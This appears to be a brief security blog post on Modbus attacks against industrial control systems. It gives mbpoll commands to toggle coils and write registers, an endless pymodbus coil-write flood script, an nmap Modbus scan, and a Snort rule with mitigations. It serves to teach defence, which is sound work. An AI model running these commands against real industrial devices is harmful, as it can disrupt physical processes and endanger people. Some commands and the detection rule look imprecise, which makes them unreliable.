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Modbus, a widely used protocol in Industrial Control Systems (ICS), is often targeted due to its lack of inherent security. Attackers can manipulate coils, registers, and protocol internals without complex exploits. Below, we break down four attack categories with practical examples, traffic analysis, and mitigation strategies.
Attack Categories
1. Coils Manipulation
Coils represent binary outputs (ON/OFF). Attackers can toggle these to disrupt operations.
Example Command (Modbus CLI):
mbpoll -a 1 -t 0 -r 1 -c 1 192.168.1.100
– -a 1: Slave ID
– -t 0: Coil type
– -r 1: Start address
– -c 1: Number of coils
2. Registers Tampering
Registers store numerical values. Unauthorized writes can alter sensor readings or control parameters.
Example Command:
mbpoll -a 1 -t 3 -r 40001 -c 1 -1 192.168.1.100
– -t 3: Holding register
– -r 40001: Register address
3. DoS & Flood Attacks
Overwhelm devices with excessive requests.
Python Script (Flood):
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.100')
while True:
client.write_coil(1, True)
4. Protocol Abuse
Exploit Modbus’s lack of authentication to spoof commands.
Traffic Analysis (Wireshark Filter):
modbus && (modbus.func_code == 5 || modbus.func_code == 6)
Mitigations
- Network Segmentation: Isolate Modbus traffic.
- Firewall Rules: Restrict Modbus TCP (Port 502).
- Monitoring: Use tools like Snort for anomaly detection.
You Should Know:
- Modbus TCP Scan:
nmap -p 502 --script modbus-discover 192.168.1.0/24
- Snort Rule for Coil Tampering:
alert tcp any any -> any 502 (msg:"Modbus Coil Manipulation"; content:"|00 01 00 00|"; sid:1000001;)
- Logging with Syslog:
logger "Modbus attack detected: Coil write attempt"
What Undercode Say
Modbus attacks are straightforward but devastating. Defenders must prioritize network hardening, real-time monitoring, and protocol-aware firewalls. Tools like Wireshark, Snort, and Modbus-specific SIEMs are critical. Always validate input registers and enforce strict access controls.
Expected Output:
- Detected coil manipulation attempts.
- Blocked unauthorized register writes.
- Alerted on Modbus flood patterns.
Reference:
OT SIEM Mastery: Your Leveling Guide 1-60
References:
Reported By: Zakharb Modbus – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
